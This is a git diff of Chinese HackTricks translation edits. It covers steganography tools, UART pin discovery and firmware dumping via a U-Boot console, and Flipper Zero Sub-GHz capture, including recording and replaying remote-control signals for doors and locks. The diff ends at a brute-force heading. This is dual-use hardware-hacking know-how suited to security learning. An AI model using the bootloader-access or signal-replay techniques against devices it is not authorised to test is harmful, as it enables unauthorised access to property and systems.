根据文件的头部和尾部恢复文件,对 png 图像非常有用。通过 `apt` 安装,源代码在 [GitHub](https://github.com/korczis/foremost) 上。
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
@ -110,34 +102,34 @@ Steghide 方便地在 `JPEG, BMP, WAV, 和 AU` 文件中隐藏数据,能够嵌
|
|||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg for PNG and BMP Files**
|
||||
### **zsteg 用于 PNG 和 BMP 文件**
|
||||
|
||||
zsteg 专注于揭示 PNG 和 BMP 文件中的隐藏数据。安装通过 `gem install zsteg` 完成,其 [源代码在 GitHub](https://github.com/zed-0xff/zsteg)。
|
||||
|
||||
**Commands:**
|
||||
**命令:**
|
||||
|
||||
* `zsteg -a file` 对文件应用所有检测方法。
|
||||
* `zsteg -E file` 指定用于数据提取的有效载荷。
|
||||
|
||||
### **StegoVeritas and Stegsolve**
|
||||
### **StegoVeritas 和 Stegsolve**
|
||||
|
||||
**stegoVeritas** 检查元数据,执行图像转换,并应用 LSB 暴力破解等功能。使用 `stegoveritas.py -h` 获取完整选项列表,使用 `stegoveritas.py stego.jpg` 执行所有检查。
|
||||
|
||||
**Stegsolve** 应用各种颜色滤镜以揭示图像中的隐藏文本或消息。它可在 [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) 上获取。
|
||||
|
||||
### **FFT for Hidden Content Detection**
|
||||
### **FFT 用于隐藏内容检测**
|
||||
|
||||
快速傅里叶变换 (FFT) 技术可以揭示图像中的隐蔽内容。有用的资源包括:
|
||||
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL 演示](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
* [GitHub 上的 FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy for Audio and Image Files**
|
||||
### **Stegpy 用于音频和图像文件**
|
||||
|
||||
Stegpy 允许将信息嵌入图像和音频文件,支持 PNG、BMP、GIF、WebP 和 WAV 等格式。它可在 [GitHub](https://github.com/dhsdshdhk/stegpy) 上获取。
|
||||
|
||||
### **Pngcheck for PNG File Analysis**
|
||||
### **Pngcheck 用于 PNG 文件分析**
|
||||
|
||||
要分析 PNG 文件或验证其真实性,请使用:
|
||||
```bash
|
||||
|
@ -146,7 +138,7 @@ pngcheck stego.png
|
|||
```
|
||||
### **额外的图像分析工具**
|
||||
|
||||
进一步探索,请考虑访问:
|
||||
要进一步探索,请考虑访问:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [图像误差级别分析](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
|
@ -182,7 +174,7 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound 允许使用 AES-256 对音频文件中的信息进行加密和检测。可以从 [the official page](http://jpinsoft.net/deepsound/download.aspx) 下载。
|
||||
Deepsound 允许使用 AES-256 对声音文件中的信息进行加密和检测。可以从 [the official page](http://jpinsoft.net/deepsound/download.aspx) 下载。
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
|
@ -201,34 +193,28 @@ Sonic Visualizer 是一个用于音频文件的视觉和分析检查的宝贵工
|
|||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
|
||||
对于二进制到图像的转换,请查看 [dcode](https://www.dcode.fr/binary-image)。要读取二维码,请使用 [this online barcode reader](https://online-barcode-reader.inliteresearch.com/)。
|
||||
|
||||
### **盲文翻译**
|
||||
|
||||
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
|
||||
对于盲文翻译,[Branah Braille Translator](https://www.branah.com/braille-translator) 是一个很好的资源。
|
||||
|
||||
## **参考文献**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,39 +9,26 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
UART 是一种串行协议,这意味着它一次传输一个比特的数据。相比之下,平行通信协议通过多个通道同时传输数据。常见的串行协议包括 RS-232、I2C、SPI、CAN、以太网、HDMI、PCI Express 和 USB。
|
||||
|
||||
通常,在 UART 处于空闲状态时,线路保持高电平(逻辑 1 值)。然后,为了表示数据传输的开始,发射器向接收器发送一个起始位,此时信号保持低电平(逻辑 0 值)。接下来,发射器发送五到八个数据位,包含实际消息,后面跟着一个可选的奇偶校验位和一个或两个停止位(逻辑 1 值),具体取决于配置。用于错误检查的奇偶校验位在实际中很少见。停止位(或位)表示传输结束。
|
||||
通常,在 UART 处于空闲状态时,线路保持高电平(逻辑 1 值)。然后,为了信号数据传输的开始,发射器向接收器发送一个起始位,此时信号保持低电平(逻辑 0 值)。接下来,发射器发送五到八个数据位,包含实际消息,后面跟着一个可选的奇偶校验位和一个或两个停止位(逻辑 1 值),具体取决于配置。用于错误检查的奇偶校验位在实际中很少见。停止位(或位)表示传输结束。
|
||||
|
||||
我们称最常见的配置为 8N1:八个数据位,无奇偶校验和一个停止位。例如,如果我们想在 8N1 UART 配置中发送字符 C,或 0x43 的 ASCII 码,我们将发送以下位:0(起始位);0, 1, 0, 0, 0, 0, 1, 1(0x43 的二进制值),和 0(停止位)。
|
||||
我们称最常见的配置为 8N1:八个数据位,无奇偶校验和一个停止位。例如,如果我们想在 8N1 UART 配置中发送字符 C,或 0x43 的 ASCII 码,我们将发送以下位:0(起始位);0,1,0,0,0,0,1,1(0x43 的二进制值),和 0(停止位)。
|
||||
|
||||
![](<../../.gitbook/assets/image (764).png>)
|
||||
|
||||
与 UART 通信的硬件工具:
|
||||
|
||||
* USB 转串口适配器
|
||||
* USB 转串行适配器
|
||||
* 带有 CP2102 或 PL2303 芯片的适配器
|
||||
* 多功能工具,如:Bus Pirate、Adafruit FT232H、Shikra 或 Attify Badge
|
||||
|
||||
|
@ -51,10 +38,10 @@ UART 有 4 个端口:**TX**(发送)、**RX**(接收)、**Vcc**(电
|
|||
|
||||
使用 **万用表** 并关闭设备电源:
|
||||
|
||||
* 要识别 **GND** 引脚,请使用 **连续性测试** 模式,将黑色引线放入接地并用红色引线测试,直到听到万用表发出声音。PCB 上可能会找到多个 GND 引脚,因此您可能找到或未找到属于 UART 的引脚。
|
||||
* 要识别 **VCC 端口**,请设置 **直流电压模式** 并将其设置为 20 V 电压。黑色探头接地,红色探头接引脚。打开设备电源。如果万用表测量到恒定电压为 3.3 V 或 5 V,您就找到了 Vcc 引脚。如果测得其他电压,请尝试其他端口。
|
||||
* 要识别 **TX** **端口**,将 **直流电压模式** 设置为 20 V 电压,黑色探头接地,红色探头接引脚,并打开设备电源。如果您发现电压波动几秒钟后稳定在 Vcc 值,您很可能找到了 TX 端口。这是因为在开机时,它会发送一些调试数据。
|
||||
* **RX 端口** 是与其他 3 个端口最接近的,它的电压波动最低,所有 UART 引脚中整体值最低。
|
||||
* 要识别 **GND** 引脚,请使用 **连续性测试** 模式,将黑色引线放入接地,并用红色引线测试,直到听到万用表发出声音。PCB 上可以找到多个 GND 引脚,因此您可能找到或未找到属于 UART 的引脚。
|
||||
* 要识别 **VCC 端口**,请设置 **直流电压模式** 并将其设置为 20 V 电压。黑色探头接地,红色探头接引脚。打开设备电源。如果万用表测量到恒定电压为 3.3 V 或 5 V,则您找到了 Vcc 引脚。如果您得到其他电压,请尝试其他端口。
|
||||
* 要识别 **TX** **端口**,将 **直流电压模式** 设置为 20 V 电压,黑色探头接地,红色探头接引脚,并打开设备电源。如果您发现电压波动几秒钟后稳定在 Vcc 值,则您很可能找到了 TX 端口。这是因为在开机时,它会发送一些调试数据。
|
||||
* **RX 端口** 将是与其他 3 个端口最接近的,它的电压波动最低,所有 UART 引脚中整体值最低。
|
||||
|
||||
您可以混淆 TX 和 RX 端口,没什么问题,但如果混淆 GND 和 VCC 端口,可能会烧毁电路。
|
||||
|
||||
|
@ -62,7 +49,7 @@ UART 有 4 个端口:**TX**(发送)、**RX**(接收)、**Vcc**(电
|
|||
|
||||
### 识别 UART 波特率
|
||||
|
||||
识别正确波特率的最简单方法是查看 **TX 引脚的输出并尝试读取数据**。如果您收到的数据不可读,请切换到下一个可能的波特率,直到数据变得可读。您可以使用 USB 转串口适配器或像 Bus Pirate 这样的多功能设备来做到这一点,并配合一个辅助脚本,例如 [baudrate.py](https://github.com/devttys0/baudrate/)。最常见的波特率为 9600、38400、19200、57600 和 115200。
|
||||
识别正确波特率的最简单方法是查看 **TX 引脚的输出并尝试读取数据**。如果您收到的数据不可读,请切换到下一个可能的波特率,直到数据变得可读。您可以使用 USB 转串行适配器或像 Bus Pirate 这样的多功能设备来做到这一点,并配合一个辅助脚本,例如 [baudrate.py](https://github.com/devttys0/baudrate/)。最常见的波特率为 9600、38400、19200、57600 和 115200。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,在此协议中,您需要将一个设备的 TX 连接到另一个设备的 RX!
|
||||
|
@ -70,7 +57,7 @@ UART 有 4 个端口:**TX**(发送)、**RX**(接收)、**Vcc**(电
|
|||
|
||||
## CP210X UART 到 TTY 适配器
|
||||
|
||||
CP210X 芯片广泛用于许多原型板,如 NodeMCU(带 esp8266)进行串行通信。这些适配器相对便宜,可用于连接目标的 UART 接口。该设备有 5 个引脚:5V、GND、RXD、TXD、3.3V。确保连接目标支持的电压,以避免任何损坏。最后,将适配器的 RXD 引脚连接到目标的 TXD,引脚将适配器的 TXD 引脚连接到目标的 RXD。
|
||||
CP210X 芯片广泛用于许多原型板,如 NodeMCU(带 esp8266)进行串行通信。这些适配器相对便宜,可以用于连接目标的 UART 接口。该设备有 5 个引脚:5V、GND、RXD、TXD、3.3V。确保根据目标支持的电压连接,以避免任何损坏。最后,将适配器的 RXD 引脚连接到目标的 TXD,引脚,将适配器的 TXD 引脚连接到目标的 RXD 引脚。
|
||||
|
||||
如果适配器未被检测到,请确保主机系统中已安装 CP210X 驱动程序。一旦适配器被检测到并连接,可以使用 picocom、minicom 或 screen 等工具。
|
||||
|
||||
|
@ -92,7 +79,7 @@ minicom -s
|
|||
|
||||
## 通过 Arduino UNO R3 的 UART(可拆卸的 Atmel 328p 芯片板)
|
||||
|
||||
如果没有可用的 UART 串行到 USB 适配器,可以通过快速黑客技术使用 Arduino UNO R3。由于 Arduino UNO R3 通常随处可用,这可以节省很多时间。
|
||||
如果没有 UART 串行到 USB 适配器,可以通过快速黑客技术使用 Arduino UNO R3。由于 Arduino UNO R3 通常随处可用,这可以节省很多时间。
|
||||
|
||||
Arduino UNO R3 板上内置了 USB 到串行适配器。要获取 UART 连接,只需将 Atmel 328p 微控制器芯片从板上拔出。此黑客技术适用于 Atmel 328p 未焊接在板上的 Arduino UNO R3 变体(使用的是 SMD 版本)。将 Arduino 的 RX 引脚(数字引脚 0)连接到 UART 接口的 TX 引脚,将 Arduino 的 TX 引脚(数字引脚 1)连接到 UART 接口的 RX 引脚。
|
||||
|
||||
|
@ -174,13 +161,13 @@ waiting a few secs to repeat....
|
|||
```
|
||||
## Dumping Firmware with UART Console
|
||||
|
||||
UART Console 提供了一种在运行时环境中与底层固件进行交互的好方法。但是,当 UART Console 访问为只读时,可能会引入许多限制。在许多嵌入式设备中,固件存储在 EEPROM 中,并在具有易失性内存的处理器中执行。因此,固件保持只读状态,因为制造时的原始固件就在 EEPROM 内部,任何新文件都可能因易失性内存而丢失。因此,在处理嵌入式固件时,转储固件是一项有价值的工作。
|
||||
UART Console 提供了一种在运行时环境中与底层固件进行交互的好方法。但是,当 UART Console 访问为只读时,可能会引入许多限制。在许多嵌入式设备中,固件存储在 EEPROM 中,并在具有易失性内存的处理器中执行。因此,固件保持只读状态,因为制造时的原始固件就在 EEPROM 内部,任何新文件都将由于易失性内存而丢失。因此,在处理嵌入式固件时,转储固件是一项有价值的工作。
|
||||
|
||||
有很多方法可以做到这一点,SPI 部分涵盖了使用各种设备直接从 EEPROM 中提取固件的方法。尽管如此,建议首先尝试使用 UART 转储固件,因为使用物理设备和外部交互转储固件可能存在风险。
|
||||
|
||||
从 UART Console 转储固件需要首先获取对引导加载程序的访问权限。许多流行的供应商使用 uboot(通用引导加载程序)作为其引导加载程序来加载 Linux。因此,获取对 uboot 的访问权限是必要的。
|
||||
从 UART Console 转储固件需要首先获取对引导加载程序的访问。许多流行的供应商使用 uboot(通用引导加载程序)作为其引导加载程序来加载 Linux。因此,获取对 uboot 的访问是必要的。
|
||||
|
||||
要访问引导加载程序,请将 UART 端口连接到计算机,并使用任何串行控制台工具,同时保持设备的电源断开。一旦设置完成,按下 Enter 键并保持不放。最后,连接设备的电源并让其启动。
|
||||
要访问引导加载程序,请将 UART 端口连接到计算机,并使用任何串行控制台工具,并保持设备的电源断开。一旦设置完成,按下 Enter 键并保持。最后,连接设备的电源并让其启动。
|
||||
|
||||
这样做将中断 uboot 的加载并提供一个菜单。建议了解 uboot 命令并使用帮助菜单列出它们。这可能是 `help` 命令。由于不同的供应商使用不同的配置,因此有必要分别理解每个配置。
|
||||
|
||||
|
@ -188,7 +175,7 @@ UART Console 提供了一种在运行时环境中与底层固件进行交互的
|
|||
```
|
||||
md
|
||||
```
|
||||
这代表“内存转储”。这将把内存(EEPROM 内容)转储到屏幕上。建议在开始过程之前记录串行控制台输出,以捕获内存转储。
|
||||
which stands for "memory dump". 这将把内存(EEPROM 内容)转储到屏幕上。建议在开始程序之前记录串行控制台输出,以捕获内存转储。
|
||||
|
||||
最后,只需从日志文件中剥离所有不必要的数据,并将文件存储为 `filename.rom`,然后使用 binwalk 提取内容:
|
||||
```
|
||||
|
@ -196,19 +183,7 @@ binwalk -e <filename.rom>
|
|||
```
|
||||
这将根据在十六进制文件中找到的签名列出 EEPROM 的可能内容。
|
||||
|
||||
虽然需要注意的是,即使正在使用 uboot,它并不总是解锁的。如果 Enter 键没有任何反应,请检查其他键,如空格键等。如果引导加载程序被锁定且没有被中断,则此方法将无效。要检查 uboot 是否是设备的引导加载程序,请在设备启动时检查 UART 控制台的输出。它可能在启动时提到 uboot。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **泄露**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
尽管需要注意的是,即使正在使用 uboot,它也不一定是解锁的。如果 Enter 键没有任何反应,请检查其他键,如空格键等。如果引导加载程序被锁定且没有被中断,则此方法将无效。要检查 uboot 是否是设备的引导加载程序,请在设备启动时检查 UART 控制台的输出。它可能在启动时提到 uboot。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -219,7 +194,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
使用 [**Flipper Zero**](https://flipperzero.one/) 你可以:
|
||||
|
||||
* **监听/捕获/重放无线电频率:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
|
@ -36,12 +28,6 @@
|
|||
|
||||
**其他 Flipper Zero 资源在** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -51,8 +37,8 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,29 +9,22 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 介绍 <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero 可以 **接收和发送 300-928 MHz 范围内的无线电频率**,其内置模块可以读取、保存和模拟遥控器。这些遥控器用于与门、障碍物、无线电锁、遥控开关、无线门铃、智能灯等进行交互。Flipper Zero 可以帮助您了解您的安全是否受到威胁。
|
||||
Flipper Zero 可以 **接收和发送 300-928 MHz 范围内的无线频率**,其内置模块可以读取、保存和模拟遥控器。这些遥控器用于与门、障碍物、无线锁、遥控开关、无线门铃、智能灯等进行交互。Flipper Zero 可以帮助您了解您的安全性是否受到威胁。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Sub-GHz 硬件 <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 芯片](https://www.ti.com/lit/ds/symlink/cc1101.pdf) 的内置 sub-1 GHz 模块和一根无线电天线(最大范围为 50 米)。CC1101 芯片和天线均设计用于在 300-348 MHz、387-464 MHz 和 779-928 MHz 频段内工作。
|
||||
Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 芯片](https://www.ti.com/lit/ds/symlink/cc1101.pdf) 的内置 sub-1 GHz 模块和一根无线天线(最大范围为 50 米)。CC1101 芯片和天线均设计用于在 300-348 MHz、387-464 MHz 和 779-928 MHz 频段内工作。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (923).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -58,14 +51,14 @@ Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overvie
|
|||
查找使用的频率信息(也是查找使用的频率的另一种方法)
|
||||
{% endhint %}
|
||||
|
||||
**读取**选项 **在指定调制下监听配置频率**:默认情况下为 433.92 AM。如果在读取时 **找到某些内容**,则 **屏幕上会显示信息**。这些信息可以用于将来复制信号。
|
||||
**读取** 选项 **在指定调制下监听配置频率**:默认情况下为 433.92 AM。如果在读取时 **找到某些内容**,则 **屏幕上会显示信息**。这些信息可以用于将来复制信号。
|
||||
|
||||
在使用读取时,可以按 **左按钮** 并 **进行配置**。\
|
||||
此时它有 **4 种调制方式**(AM270、AM650、FM328 和 FM476),并且存储了 **几个相关频率**:
|
||||
此时它有 **4 种调制**(AM270、AM650、FM328 和 FM476),以及 **存储的多个相关频率**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
您可以设置 **任何您感兴趣的频率**,但是,如果您 **不确定遥控器使用的频率**,请 **将跳频设置为开启**(默认关闭),并多次按下按钮,直到 Flipper 捕获到它并提供您设置频率所需的信息。
|
||||
您可以设置 **任何您感兴趣的频率**,但是,如果您 **不确定哪个频率** 可能是您拥有的遥控器使用的频率,请 **将跳频设置为开启**(默认关闭),并多次按下按钮,直到 Flipper 捕获到它并提供您设置频率所需的信息。
|
||||
|
||||
{% hint style="danger" %}
|
||||
在频率之间切换需要一些时间,因此在切换时传输的信号可能会丢失。为了更好的信号接收,请设置由频率分析仪确定的固定频率。
|
||||
|
@ -77,13 +70,13 @@ Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overvie
|
|||
窃取(并重放)配置频率上的信号
|
||||
{% endhint %}
|
||||
|
||||
**读取原始信号**选项 **记录在监听频率上发送的信号**。这可以用于 **窃取** 信号并 **重复** 它。
|
||||
**读取原始信号** 选项 **记录在监听频率上发送的信号**。这可以用于 **窃取** 信号并 **重复** 它。
|
||||
|
||||
默认情况下 **读取原始信号也在 433.92 AM650**,但如果通过读取选项发现您感兴趣的信号在 **不同的频率/调制下,您也可以通过按左键进行修改**(在读取原始信号选项内)。
|
||||
默认情况下,**读取原始信号也在 433.92 AM650**,但如果通过读取选项发现您感兴趣的信号在 **不同的频率/调制下,您也可以通过按左键进行修改**(在读取原始信号选项内)。
|
||||
|
||||
### 暴力破解
|
||||
|
||||
